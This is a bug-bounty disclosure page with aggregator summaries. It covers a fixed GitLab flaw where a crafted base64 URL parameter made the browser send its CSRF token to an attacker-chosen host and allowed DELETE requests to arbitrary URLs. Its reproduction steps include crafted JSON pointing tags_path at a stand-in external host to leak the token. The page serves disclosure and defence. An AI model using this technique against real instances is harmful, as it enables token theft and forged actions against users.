Usage of untrusted container registry URL leading to CSRF token leakage
GitLab's frontend trusted a base64-encoded URL parameter to determine the Docker registry host, allowing an attacker to make the victim's browser send requests to an attacker-controlled server. This leaked the CSRF token and, with a user click, could also send DELETE requests to arbitrary URLs.
GitLab
Originally disclosed on GitLab
- Fixed in 5 months
- Disclosed after 5 months
HackerOne report #874461 by fcremo on 2020-05-14, assigned to @cmaxim:
Summary
GitLab frontend trusts data supplied in the URL to provide the correct host of the Docker registry.
This assumption is invalidated e.g. if a user clicks on a malicious link. I have identified two potential exploits leveraging this issue.
Exploit #1
An attacker-controlled Docker registry URL is queried to obtain a list of available images.
The request includes a valid CSRF token, which can be leaked to the attacker and used for further exploitation.
I discovered the issue while testing private registries on a self-hosted instance without a strong Content Security Policy.
The public gitlab.com instance deploys a CSP which does not allow requests to attacker-controlled hosts.
Exploit #2
The response to the above query contains data used as URLs where DELETE requests are issued to.
This happens when the users clicks on the "delete" button to remove a tagged image.
With this interaction from the user, an attacker can perform DELETE requests to arbitrary URLs. These requests also include the CSRF token and originate from the GitLab host.
Steps to reproduce
Exploit #1
Consider the following URL, which lists the available images for the gitlab-foss project:
https://gitlab.com/gitlab-org/gitlab-foss/container_registry/[REDACTED]=
The last part of the URL contains base64 data which decodes to the following JSON:
{
"name":"gitlab-org/gitlab-foss/gitlab/gitlab-foss-qa",
"tags_path":"/gitlab-org/gitlab-foss/registry/repository/[REDACTED]/tags?format=json",
"id":[REDACTED]
}
When visiting the URL, the frontend uses the tags_path field as a URL to request a list of available images.
The above JSON is changed to:
{
"name":"gitlab-org/gitlab-foss/gitlab/gitlab-foss-qa",
"tags_path":"https://example.com/test.json",
"id":[REDACTED]
}
The above URL can be then rebuilt as follows:
https://gitlab.com/gitlab-org/gitlab-foss/container_registry/[REDACTED]==
The issue can be confirmed from a browser network inspector, by navigating to the above URL.
Observe that a GET request to https://example.com/test.json?page=1&per_page=10 is issued on page load.
The request includes the CSRF token in the X-CSRF-Token header.
Note that the CSP of the public gitlab.com instance blocks the request, but this is not necessarily the case for self-hosted instances.
Exploit #2
This exploit builds upon exploit #1.
The JSON returned by the (attacker controlled) registry is expected to have the following structure:
[
{
"name":"10242-create-vulnerability-model-ce",
"path":"gitlab-org/gitlab-foss/gitlab/gitlab-foss-qa:10242-create-vulnerability-model-ce",
"location":"registry.gitlab.com/gitlab-org/gitlab-foss/gitlab/gitlab-foss-qa:10242-create-vulnerability-model-ce",
"digest":"sha256:[REDACTED]",
"revision":"[REDACTED]",
"short_revision":"[REDACTED]", "total_size":705068332, "created_at":"2019-09-16T21:20:02.302+00:00",
"destroy_path": "<destroy_path_URL>"
},
...
]
When the user clicks on the delete button for an image, the destroy_path property is used as a URL to complete the action.
A DELETE request is issued to this URL. The request includes the CSRF token and originates from the GitLab instance origin.
Therefore, any DELETE endpoint on the GitLab instance can be issued a valid request by exploiting this issue.
What is the current bug behavior?
GitLab trusts user-supplied data (URL) to locate the docker registry.
What is the expected correct behavior?
GitLab should not use trust data coming from the user-visited URL to locate the docker registry.
Output of checks
This bug happens on GitLab.com. However, the CSP limits its severity.
Impact
This vulnerability could be exploited to leak a victim's CSRF token. It also allows an attacker to trigger a DELETE request to an arbitrary URL (this requires more user interaction).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the frontend used a user-controlled URL parameter to determine the Docker registry host without validating it against a trusted list.
Impact
The vulnerability could leak the victim's CSRF token and, with additional user interaction, allow DELETE requests to arbitrary URLs; however, on gitlab.com the CSP blocks requests to attacker-controlled hosts, limiting the severity.
What the attacker needed
Victim clicks a crafted link; self-hosted instance without strict CSP (for full impact)
The fix
GitLab should not use untrusted data from the user-visited URL to locate the Docker registry.
How it was found
- Visit a crafted URL containing base64-encoded JSON with a tags_path pointing to an attacker-controlled server.
- Observe that the page loads and sends a GET request to the attacker's server, including the CSRF token in a header.
- For the second exploit, the attacker's server returns JSON with a destroy_path pointing to an arbitrary URL.
- When the user clicks the delete button, a DELETE request is sent to that arbitrary URL, also including the CSRF token.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The web page took a piece of data from the address bar and used it to decide where to send requests. An attacker could craft a link that made the victim's browser send requests to the attacker's server, including a secret token that protects against forged requests. This could let the attacker later perform actions on the victim's behalf.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.